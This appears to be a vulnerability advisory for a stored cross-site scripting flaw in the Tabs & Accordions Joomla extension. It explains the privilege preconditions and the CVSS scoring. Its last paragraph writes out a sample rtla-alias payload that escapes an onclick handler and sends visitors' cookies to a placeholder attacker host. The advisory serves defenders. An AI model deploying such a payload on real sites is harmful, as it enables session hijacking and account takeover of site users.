Tabs & Accordions CVE-2026-85191

Exploitation requires all of the following: (1) the Tabs & Accordions extension by regularlabs.com must be installed, active, and running a version prior to 3.1.0 on the target Joomla site; (2) the attacker must hold an authenticated Joomla account with sufficient content-creation or editing privileges to configure a Tabs & Accordions element and set a custom rtla-alias value - typically the Author, Editor, or Administrator role; (3) the crafted element must be saved to and published on a page accessible to intended victims. What limits exploitation: the PR:H CVSS metric confirms that purely external unauthenticated attackers cannot exploit this without first compromising a privileged Joomla account; the vulnerability is entirely absent on sites that do not have the extension installed; and the attack is scoped to Joomla deployments specifically - no other CMS platform is affected by this extension.

The CVSS 4.0 score of 7.5 is shaped primarily by the PR:H constraint, which restricts the attacker pool to Joomla users holding Author, Editor, or Administrator roles capable of creating or editing Tabs & Accordions content. The AT:P modifier (attack requirements present) further acknowledges that the extension must be installed, active, and contain a published item with a custom alias on a reachable page. Despite VC:H/VI:H impact ratings in the vendor-supplied vector - representing worst-case session hijacking and content manipulation against victims - real-world exploitability is gated behind privileged access, making this an insider threat or account-compromise scenario rather than a remote unauthenticated attack. No EPSS data is available for this CVE in the provided intelligence; KEV status is absent; and no proof-of-concept code has been identified. The privilege barrier meaningfully reduces urgency for most deployments, though Joomla sites with many contributor-level accounts, weak password policies, or shared editorial credentials should treat this as a higher priority given the persistent and browser-wide impact of a successful stored XSS. The vendor reference points to the regularlabs.com homepage rather than a dedicated advisory, so independent fix-version verification is incomplete.

A Joomla editor or administrator creates a Tabs & Accordions element and sets the rtla-alias field to a payload such as x');document.location='https://attacker.example/steal?c='+document.cookie;//, which breaks out of the generated onclick JavaScript string and HTML attribute. Once published, every site visitor who loads the affected page automatically executes the injected script in their browser, enabling session cookie theft and potential account takeover of any user including administrators. No public proof-of-concept has been identified, but the technique is a well-understood dual-context XSS injection requiring no special tooling.